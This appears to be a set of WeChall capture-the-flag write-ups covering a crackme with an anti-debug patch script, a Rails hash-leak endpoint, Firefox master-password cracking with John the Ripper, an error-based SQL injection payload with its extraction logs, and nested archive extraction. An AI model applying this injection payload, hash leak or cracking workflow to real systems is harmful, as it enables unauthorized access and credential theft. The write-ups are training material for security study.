main 中定义了 15 字节 XOR key（位于[ebp-0x44]）：

1
2

[0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14,
 0x16, 0x0c, 0x06, 0x0d, 0x65]

encrypt() 函数对密码逐字节 XOR：

1
2

for (i = 0; i < len; i++)
    password[i] ^= key[i % 15];

然后 chomp() 去掉末尾换行符，pw_check()将结果与硬编码字符串比较。

用 pwntools 直接读取目标字符串：

1
2
3
4

from pwn import *
elf = ELF('bsd_thelasthope.elf')
target = elf.read(0x08049050, 10).decode()
print(f"target: {target}")  # Oxw|n]nfog

或直接用 r2：

1
2

$ r2 -q -c 'ps @ 0x08049050' bsd_thelasthope.elf
Oxw|n]nfog

求解

直接逆向 XOR，key 和密文等长（均为 10 字节）：

1
2
3
4

encrypted = b"Oxw|n]nfog"
key = [0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14]
password = ''.join(chr(e ^ key[i]) for i, e in enumerate(encrypted))
# → "PrimeTwins"

验证

1
2
3
4
5
6
7
8
9
10

O=0x4f ^ 0x1f = 0x50 = P
x=0x78 ^ 0x0a = 0x72 = r
w=0x77 ^ 0x1e = 0x69 = i
|=0x7c ^ 0x11 = 0x6d = m
n=0x6e ^ 0x0b = 0x65 = e
]=0x5d ^ 0x09 = 0x54 = T
n=0x6e ^ 0x19 = 0x77 = w
f=0x66 ^ 0x0f = 0x69 = i
o=0x6f ^ 0x01 = 0x6e = n
g=0x67 ^ 0x14 = 0x73 = s

完整 Patch 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

#!/usr/bin/env python3
"""Patch anti-debug measures in bsd_thelasthope.elf

ELF segment layout:
  text: file 0x000000 → VA 0x08048000   (file_off = VA - 0x08048000)
  data: file 0x001f00 → VA 0x0804af00   (file_off = VA - 0x08049000)
"""
import sys

def patch(filepath):
    with open(filepath, 'r+b') as f:
        # Layer 1: .ctors → nuke anti_ptrace entry (VA 0x0804af04, data seg)
        f.seek(0x1f04)
        f.write(b'\xff\xff\xff\xff')

        # Layer 2: NOP call anti_ptrace @ VA 0x08048d59 (5 bytes, text seg)
        f.seek(0x0d59)
        f.write(b'\x90' * 5)

        # Layer 3: NOP call signal @ VA 0x08048d6d (5 bytes)
        f.seek(0x0d6d)
        f.write(b'\x90' * 5)

        # Layer 4a: NOP int3 @ VA 0x08048d72 (1 byte)
        f.seek(0x0d72)
        f.write(b'\x90')

        # Layer 4b: bypass 0xCC check — jne→jmp @ VA 0x08048d87 (1 byte)
        f.seek(0x0d87)
        f.write(b'\xeb')  # 0x75(jne) → 0xeb(jmp)

        # Layer 5: call ptrace → xor eax,eax @ VA 0x08048dc0 (5 bytes)
        f.seek(0x0dc0)
        f.write(b'\x31\xc0\x90\x90\x90')  # xor eax,eax; nop; nop; nop

    print(f"Patched: {filepath}")

if __name__ == '__main__':
    patch(sys.argv[1] if len(sys.argv) > 1 else 'bsd_thelasthope.elf')

Patch 后运行：

1
2
3
4
5
6

$ python3 patch.py bsd_thelasthope.elf
$ chmod +x bsd_thelasthope.elf
$ ./bsd_thelasthope.elf
User: whoami
Password: PrimeTwins
Correct !! The solution is username_password

Railsbin (Exploit) — score 3, by gizmore.

The project named "railsbin" is open source, but has a few securityproblems. Can you exploit the demo site? The solution is the passwordhash of user solution.

Railsbin 是一个开源 Ruby on Rails pastebin demo。源码在 gizmore/railsbin。目标是得到用户solution 的 bcrypt password hash。

Solution

源码审计发现 UsersController#index 有一个漏洞：

1
2
3
4
5

# app/controllers/users_controller.rb:8
def index
  @users = User.all
  @users.map {|u| u.password = u.encrypted_password }
end

将 encrypted_password（bcrypt hash）复制到虚拟属性password 上。JSON view 直接序列化暴露：

1
2

# app/views/users/index.json.jbuilder
json.extract! user, :id, :name, :email, :password

无需认证，直接请求：

1

GET https://railsbin.wechall.net/users.json

返回所有用户的完整 bcrypt hash，包括 solution 用户：

1
2
3
4
5
6

{
  "id": 17,
  "name": "solution",
  "email": "solution@wechall.net",
  "password": "$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK"
}

Burning Fox (Cracking) — score 4.

Our security agency got delivered a copy of a portable firefoxinstallation. Your job is to crack the master password so theauthorities can investigate more websites and private content generatedby this person.

You can download the portable version from this folder, filename"burningfox.zip".

提供一个 Firefox Portable 打包文件，需要破解其 Master Password以获取浏览器中保存的敏感信息。

solution

这是一个 Firefox 密码破解 + 浏览器数据分析的两阶段挑战：

1. 破解 Master Password：从 key3.db 提取hash，用 John the Ripper 或 FireMaster 破解
2. 分析浏览器数据：用破解的密码解锁Firefox，在保存的密码/历史/书签中找到挑战答案

步骤一：破解 Master Password

下载 burningfox.zip，解压后定位到 Firefox 配置文件目录FirefoxPortable/Data/profile/。

使用 John the Ripper 的 mozilla2john 工具从key3.db 提取 hash：

1
2

mozilla2john FirefoxPortable/Data/profile/key3.db > mozhash.txt
john --format=mozilla --wordlist=rockyou.txt mozhash.txt

Master Password 很快就能被 rockyou字典破解出来：wonderful

验证方法：

1

john --format=mozilla --show mozhash.txt

拿到 Master Password 后，有两种路径找到答案：

方案 A：启动 Firefox Portable（需要 X11/Wine环境），用 Master Password 解锁，浏览浏览器中保存的密码和历史记录。

方案 B：直接用 SQLite 查看signons.sqlite（密码数据库），配合 Mozilla密码转储工具解密保存的凭据。

答案不是 Master Password本身，而是浏览器中保存的一条特殊密码/书签。

Light in the Darkness (MySQL, Exploit) — score 6, by Mawekl.

This challenge is the sequel to the "Blinded by the lighter"challenge. Again your mission is to extract an md5 password hash out ofthe database. This time your limit for this sql injection are 2 queries.Also you have to accomplish this task 3 times consecutively, to proveyou have solved the challenge. Again you are given the sourcecode of thevulnerable script, also as highlighted version. To restart thechallenge, you can execute a reset. Thanks to Mawekl for his motivation!Good luck!

前作 "Blinded by the lighter" 的升级版。同样是 SQL 注入提取 MD5password hash，但限制更严：最多 2次查询（整个挑战生命周期），且需要 连续 3轮成功 才算通关。

源码分析

完整源码在 gizmore/gwf3 GitHub 仓库：

• www/challenge/Mawekl/light_in_the_darkness/vuln.php —注入点
• www/challenge/Mawekl/light_in_the_darkness/index.php —表单逻辑
• www/challenge/Mawekl/light_in_the_darkness/install.php— 挑战初始化

vuln.php — 注入点：

1
2
3
4
5
6
7
8
9
10
11

function blightVuln($password)
{
    # Filter: blocks /* and "blight" in the injection string
    if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
        return false;

    $db = blightDB();
    $sessid = GWF_Session::getSessSID();
    $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
    return $db->queryFirst($query) !== false;
}

关键点：

• 注入点在 WHERE 子句，password 列来自子查询别名b
• 过滤器：禁止 /*（堵多行注释截断）和blight（堵直接引用表名）
• setVerbose(true)：SQL 错误会完整回显到页面 ——这是报错注入的前提条件
• queryFirst() 使用mysqli_query()（不支持堆叠查询）
• SLEEP/BENCHMARK 未被过滤，但 2次查询限制让时间/布尔盲注都不可行

index.php — 表单逻辑：

• injection + inject →blightVuln($password)
• thehash + mybutton →blightGetHash() 从 DB 读 hash 并比对
• reset=me → 显示旧 hash（如果有），然后生成新 hash

限制： 常数 BLIGHT3_ATTEMPS =2（源码中的拼写，非笔误），最大允许 attempt = 3。每次 inject 或 hash提交消耗 1 次 attempt。每次成功提交 hash 后 attempt 重置为 0，同时consecutive 计数器 +1。连续 3 轮成功后 challenge solved。

solution

核心思路：利用 MySQL GROUP BY 对非确定性表达式FLOOR(RAND(0)*2) 的求值 bug，触发Duplicate entry 错误，在错误信息中泄露CONCAT(password, FLOOR(RAND(0)*2)) 的值。

1

' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --

为什么用 RAND(0)（有种子）而不是RAND()：

• RAND(0) 产生确定序列：0, 1, 1, 0, 1, 0, 0, 1, ...
• 第 2 行和第 3 行都得到值 1，导致 GROUP BY临时表唯一键冲突，触发报错
• RAND()（无种子）每次序列随机，不可靠
• 注意：序列依赖 MySQL 版本（5.x vs 8.x 可能不同）

为什么用information_schema.COLLATIONS：

• 比 information_schema.TABLES 更轻量，不会锁 MyISAM表
• 需要至少 3 行的表（RAND(0) 的重复在行 2-3 出现，所以要求表 >= 3行）

密码提取： Duplicate entry 显示的是CONCAT(password, FLOOR(RAND(0)*2))，即password0 或 password1（尾部数字是 RAND输出）。 密码 = Duplicate entry 值的前 32 字符（MD5 hex 正好 32位）。

攻击流程

每轮 2 次操作：1 次注入提取（消耗 1 attempt）+ 1 次 hash 提交（消耗 1attempt），共 3 轮。

1. reset=me → 重置挑战，attempt=0，生成新 hash
2. 注入提取 → attempt=1，错误信息中拿到 password
3. 提交 hash → attempt=2，成功 → attempt 归零，新 hash 生成
4. 重复步骤 2-3 两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# Round 1
injection=' or (select count(*) from information_schema.COLLATIONS group by concat(password,floor(rand(0)*2))) --
→ Duplicate entry 'A43B4E914FD58059B5526D2B46854F411'
→ password = A43B4E914FD58059B5526D2B46854F41
→ submit hash → OK, need 2 more

# Round 2
→ Duplicate entry '217CD978A6269E1C6E6116FB3E6591CF1'
→ password = 217CD978A6269E1C6E6116FB3E6591CF
→ submit hash → OK, need 1 more

# Round 3
→ Duplicate entry '0B0A3307D46435DA0EDDC93E37A2D7B11'
→ password = 0B0A3307D46435DA0EDDC93E37A2D7B1
→ submit hash → CHALLENGE SOLVED!

eXtract Me (Encoding, Stegano) — score 3, by oleg.

Yo dog, I heard you like zips so we put a zip in your zip so you canunzip unzipped zips. Enjoy!

Download: r.zip (2698 bytes).

Solution

The challenge is an archive matryoshka: the r.zipcontains an infinite recursive zip (r/r.zip → always thesame inner zip), plus hidden data appended after the ZIP EOCD.

Step 1 — Cut out the second archive

r.zip is actually two things stitched together:

• First 440 bytes: the recursive zip (r/r.zip, endless loop)
• Remaining 2258 bytes: LZW-compressed data (magic\x1f\x9d)

Extract the trailing data and decompress withuncompress:

1
2
3
4
5
6
7
8

$ python3 -c "
with open('r.zip','rb') as f:
    d=f.read()
open('trailing.Z','wb').write(d[440:])
"
$ uncompress -c trailing.Z > stage1.xar
$ file stage1.xar
stage1.xar: xar archive compressed TOC

Step 2 — Extract the chain

The XAR contains file "8", which is itself LZW-compressed:

1
2

$ xar -xf stage1.xar       # extract → file "8"
$ uncompress -c 8 > stage2.rar

Then continue extracting each layer with 7z or the appropriatetool:

The full extraction chain is:

1
2
3
4
5
6

r.zip
 ├─ r/r.zip (infinite recursion, ignore)
 └─ trailing LZW data
    └─ XAR → 8(LZW) → RAR → A(XZ) → A~(ZOO) → 4(RZIP)
       └─ ZZ0(gzip) → 1(ARJ) → 3(LZW) → 7z → F(bzip2)
          └─ "L0LYouThInkiTSh0uldB3SoEasY?" (password)

This showcases the depth of archive format history — ZIP, LZWcompress, XAR, RAR, XZ, ZOO, RZIP, GZip, ARJ, 7z, bzip2 — almost everycompression format ever invented.